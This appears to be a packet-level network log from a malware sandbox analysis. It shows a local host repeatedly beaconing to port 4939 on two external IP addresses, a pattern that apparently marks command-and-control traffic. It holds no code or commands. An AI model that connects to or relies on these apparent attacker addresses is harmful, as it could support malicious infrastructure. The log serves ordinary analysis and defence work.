Nov 28, 2022 20:45:39.088375092 CET	49823	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:39.107121944 CET	4939	49823	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:39.619512081 CET	49823	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:39.638067007 CET	4939	49823	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:40.150634050 CET	49823	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:40.169270992 CET	4939	49823	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:41.182774067 CET	49824	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:41.227751017 CET	4939	49824	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:41.728463888 CET	49824	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:41.783520937 CET	4939	49824	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:42.290785074 CET	49824	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:42.335539103 CET	4939	49824	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:42.837713003 CET	49824	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:42.881984949 CET	4939	49824	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:43.384494066 CET	49824	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:43.429771900 CET	4939	49824	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:43.432265997 CET	49825	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:43.451303005 CET	4939	49825	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:43.962328911 CET	49825	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:43.981445074 CET	4939	49825	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:44.493411064 CET	49825	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:44.512537003 CET	4939	49825	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:45.024602890 CET	49825	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:45.043379068 CET	4939	49825	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:45.555675983 CET	49825	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:45.575474977 CET	4939	49825	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:46.587599039 CET	49827	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:46.631589890 CET	4939	49827	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:47.133495092 CET	49827	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:47.177917957 CET	4939	49827	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:47.680224895 CET	49827	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:47.724980116 CET	4939	49827	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:48.227031946 CET	49827	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:48.271614075 CET	4939	49827	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:48.773718119 CET	49827	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:48.818166018 CET	4939	49827	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:48.819283009 CET	49828	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:48.839086056 CET	4939	49828	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:49.351742983 CET	49828	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:49.372251034 CET	4939	49828	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:49.882827997 CET	49828	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:53.897547960 CET	49828	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:53.919230938 CET	4939	49828	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:54.428807020 CET	49828	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:54.450714111 CET	4939	49828	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:55.460688114 CET	49830	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:55.504970074 CET	4939	49830	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:56.006634951 CET	49830	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:56.050860882 CET	4939	49830	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:56.553579092 CET	49830	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:56.598079920 CET	4939	49830	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:57.100070000 CET	49830	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:57.144253969 CET	4939	49830	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:57.646800995 CET	49830	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:45:57.691695929 CET	4939	49830	84.38.134.104	192.168.11.20
Nov 28, 2022 20:45:57.693444967 CET	49831	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:57.715276957 CET	4939	49831	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:58.224855900 CET	49831	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:58.245106936 CET	4939	49831	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:58.755933046 CET	49831	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:58.775859118 CET	4939	49831	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:59.287225008 CET	49831	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:59.306973934 CET	4939	49831	37.0.14.209	192.168.11.20
Nov 28, 2022 20:45:59.818243027 CET	49831	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:45:59.837481976 CET	4939	49831	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:00.850020885 CET	49832	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:00.894411087 CET	4939	49832	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:01.396141052 CET	49832	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:01.440803051 CET	4939	49832	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:01.942704916 CET	49832	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:01.986957073 CET	4939	49832	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:02.489502907 CET	49832	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:02.533510923 CET	4939	49832	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:03.036204100 CET	49832	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:03.080282927 CET	4939	49832	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:03.081304073 CET	49833	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:03.101133108 CET	4939	49833	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:03.614232063 CET	49833	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:03.634067059 CET	4939	49833	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:04.145353079 CET	49833	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:04.163919926 CET	4939	49833	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:04.676508904 CET	49833	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:04.696032047 CET	4939	49833	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:05.207722902 CET	49833	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:05.228472948 CET	4939	49833	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:06.239408016 CET	49834	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:06.283796072 CET	4939	49834	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:06.785445929 CET	49834	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:06.830279112 CET	4939	49834	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:07.332195044 CET	49834	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:07.376977921 CET	4939	49834	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:07.878922939 CET	49834	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:07.924276114 CET	4939	49834	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:08.425662994 CET	49834	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:08.469976902 CET	4939	49834	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:08.471076965 CET	49836	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:08.490489960 CET	4939	49836	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:09.003691912 CET	49836	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:11.018925905 CET	49836	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:11.037847996 CET	4939	49836	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:11.550158978 CET	49836	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:11.569612026 CET	4939	49836	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:12.081166029 CET	49836	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:12.100501060 CET	4939	49836	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:13.112945080 CET	49837	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:13.158274889 CET	4939	49837	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:13.674480915 CET	49837	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:13.719468117 CET	4939	49837	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:14.221256018 CET	49837	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:14.266068935 CET	4939	49837	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:14.767993927 CET	49837	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:14.812519073 CET	4939	49837	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:15.314810038 CET	49837	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:15.358912945 CET	4939	49837	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:15.360378027 CET	49838	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:15.381776094 CET	4939	49838	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:15.892812014 CET	49838	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:17.908025026 CET	49838	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:17.928744078 CET	4939	49838	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:18.439193964 CET	49838	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:18.459850073 CET	4939	49838	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:18.970304012 CET	49838	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:18.992193937 CET	4939	49838	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:20.118567944 CET	49839	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:20.162867069 CET	4939	49839	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:20.673122883 CET	49839	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:20.724433899 CET	4939	49839	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:21.235388041 CET	49839	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:21.280004978 CET	4939	49839	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:21.782078981 CET	49839	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:21.826498032 CET	4939	49839	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:22.328870058 CET	49839	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:22.373519897 CET	4939	49839	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:22.391711950 CET	49840	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:22.410407066 CET	4939	49840	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:22.922485113 CET	49840	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:22.941138983 CET	4939	49840	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:23.453799963 CET	49840	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:23.472671032 CET	4939	49840	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:23.984838963 CET	49840	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:24.003954887 CET	4939	49840	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:24.515953064 CET	49840	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:24.534626961 CET	4939	49840	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:25.547838926 CET	49842	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:25.594202995 CET	4939	49842	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:26.109414101 CET	49842	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:26.153865099 CET	4939	49842	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:26.656183958 CET	49842	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:26.701021910 CET	4939	49842	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:27.202861071 CET	49842	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:27.247158051 CET	4939	49842	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:27.749599934 CET	49842	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:27.793989897 CET	4939	49842	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:27.804806948 CET	49843	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:27.826157093 CET	4939	49843	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:28.327529907 CET	49843	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:28.351542950 CET	4939	49843	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:28.858664036 CET	49843	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:28.879237890 CET	4939	49843	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:29.389784098 CET	49843	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:29.410811901 CET	4939	49843	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:29.921053886 CET	49843	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:29.942738056 CET	4939	49843	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:30.952718973 CET	49848	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:30.997236967 CET	4939	49848	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:31.498889923 CET	49848	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:31.543673038 CET	4939	49848	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:32.045520067 CET	49848	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:32.090709925 CET	4939	49848	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:32.592263937 CET	49848	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:32.636452913 CET	4939	49848	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:33.139134884 CET	49848	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:33.184438944 CET	4939	49848	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:33.185699940 CET	49849	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:33.206950903 CET	4939	49849	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:33.717106104 CET	49849	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:33.738254070 CET	4939	49849	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:34.248157978 CET	49849	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:34.270428896 CET	4939	49849	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:34.779360056 CET	49849	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:34.800703049 CET	4939	49849	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:35.310393095 CET	49849	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:35.330405951 CET	4939	49849	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:36.342597008 CET	49850	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:36.387475014 CET	4939	49850	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:36.888242006 CET	49850	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:36.932955980 CET	4939	49850	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:37.434926987 CET	49850	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:37.511535883 CET	4939	49850	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:38.013113022 CET	49850	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:38.058084011 CET	4939	49850	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:38.559751034 CET	49850	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:38.604532957 CET	4939	49850	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:38.606024027 CET	49852	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:38.627388954 CET	4939	49852	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:39.137917042 CET	49852	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:39.157495022 CET	4939	49852	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:39.668950081 CET	49852	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:39.692856073 CET	4939	49852	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:40.200063944 CET	49852	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:40.222552061 CET	4939	49852	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:40.731081009 CET	49852	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:40.751992941 CET	4939	49852	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:41.762948036 CET	49853	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:41.810569048 CET	4939	49853	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:42.324471951 CET	49853	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:42.368644953 CET	4939	49853	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:42.871296883 CET	49853	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:42.918730021 CET	4939	49853	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:43.433712006 CET	49853	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:43.478404045 CET	4939	49853	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:43.980418921 CET	49853	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:44.025135040 CET	4939	49853	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:44.026913881 CET	49854	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:44.047270060 CET	4939	49854	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:44.558410883 CET	49854	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:44.580543995 CET	4939	49854	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:45.089557886 CET	49854	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:49.104224920 CET	49854	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:49.127871990 CET	4939	49854	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:49.635396957 CET	49854	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:49.655199051 CET	4939	49854	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:50.668159008 CET	49855	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:50.712598085 CET	4939	49855	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:51.213224888 CET	49855	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:51.257531881 CET	4939	49855	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:51.759901047 CET	49855	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:51.804001093 CET	4939	49855	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:52.306618929 CET	49855	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:52.351258039 CET	4939	49855	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:52.853507042 CET	49855	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:52.899820089 CET	4939	49855	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:52.901235104 CET	49856	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:53.915781975 CET	49856	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:53.936964989 CET	4939	49856	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:54.446892977 CET	49856	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:54.466639042 CET	4939	49856	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:54.977972984 CET	49856	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:54.996797085 CET	4939	49856	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:55.509111881 CET	49856	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:55.528544903 CET	4939	49856	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:56.540868044 CET	49858	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:56.586040020 CET	4939	49858	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:57.086955070 CET	49858	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:57.132018089 CET	4939	49858	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:57.633634090 CET	49858	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:57.678582907 CET	4939	49858	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:58.180350065 CET	49858	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:58.224853039 CET	4939	49858	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:58.727122068 CET	49858	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:46:58.771625042 CET	4939	49858	84.38.134.104	192.168.11.20
Nov 28, 2022 20:46:58.772787094 CET	49859	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:58.792346001 CET	4939	49859	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:59.305260897 CET	49859	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:59.324974060 CET	4939	49859	37.0.14.209	192.168.11.20
Nov 28, 2022 20:46:59.836285114 CET	49859	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:46:59.857594967 CET	4939	49859	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:00.367497921 CET	49859	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:00.388775110 CET	4939	49859	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:00.898539066 CET	49859	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:00.919452906 CET	4939	49859	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:01.930890083 CET	49860	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:01.978426933 CET	4939	49860	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:02.492080927 CET	49860	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:02.537020922 CET	4939	49860	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:02.867125988 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:47:02.879024982 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:47:02.879223108 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:47:03.038727045 CET	49860	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:03.083204985 CET	4939	49860	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:03.585581064 CET	49860	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:03.630062103 CET	4939	49860	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:04.132208109 CET	49860	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:04.176923037 CET	4939	49860	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:04.178086996 CET	49861	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:04.200198889 CET	4939	49861	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:04.710232019 CET	49861	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:04.730730057 CET	4939	49861	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:05.241260052 CET	49861	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:05.260399103 CET	4939	49861	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:05.772615910 CET	49861	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:05.795243979 CET	4939	49861	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:06.303528070 CET	49861	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:06.324412107 CET	4939	49861	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:07.335470915 CET	49864	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:07.382225037 CET	4939	49864	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:07.896972895 CET	49864	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:07.941687107 CET	4939	49864	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:08.443726063 CET	49864	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:08.488265038 CET	4939	49864	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:08.990560055 CET	49864	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:09.034823895 CET	4939	49864	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:09.537261963 CET	49864	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:09.581739902 CET	4939	49864	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:09.583007097 CET	49865	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:09.602066040 CET	4939	49865	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:10.115220070 CET	49865	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:10.136579990 CET	4939	49865	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:10.646364927 CET	49865	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:10.667201042 CET	4939	49865	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:11.177476883 CET	49865	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:11.198132038 CET	4939	49865	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:11.708667994 CET	49865	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:11.728794098 CET	4939	49865	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:12.740577936 CET	49867	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:12.785011053 CET	4939	49867	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:13.286434889 CET	49867	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:13.331196070 CET	4939	49867	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:13.833193064 CET	49867	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:13.877870083 CET	4939	49867	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:14.379899979 CET	49867	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:14.423841953 CET	4939	49867	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:14.926671982 CET	49867	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:14.979032040 CET	4939	49867	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:14.980412960 CET	49868	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:15.001277924 CET	4939	49868	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:15.504926920 CET	49868	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:15.526932001 CET	4939	49868	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:16.035787106 CET	49868	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:16.056474924 CET	4939	49868	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:16.566939116 CET	49868	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:16.586613894 CET	4939	49868	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:17.098048925 CET	49868	4939	192.168.11.20	37.0.14.209
Nov 28, 2022 20:47:17.118732929 CET	4939	49868	37.0.14.209	192.168.11.20
Nov 28, 2022 20:47:18.130186081 CET	49869	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:18.174740076 CET	4939	49869	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:18.675920010 CET	49869	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:18.723277092 CET	4939	49869	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:19.238302946 CET	49869	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:19.282865047 CET	4939	49869	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:19.785232067 CET	49869	4939	192.168.11.20	84.38.134.104
Nov 28, 2022 20:47:19.829854965 CET	4939	49869	84.38.134.104	192.168.11.20
Nov 28, 2022 20:47:20.331892967 CET	49869	4939	192.168.11.20	84.38.134.104
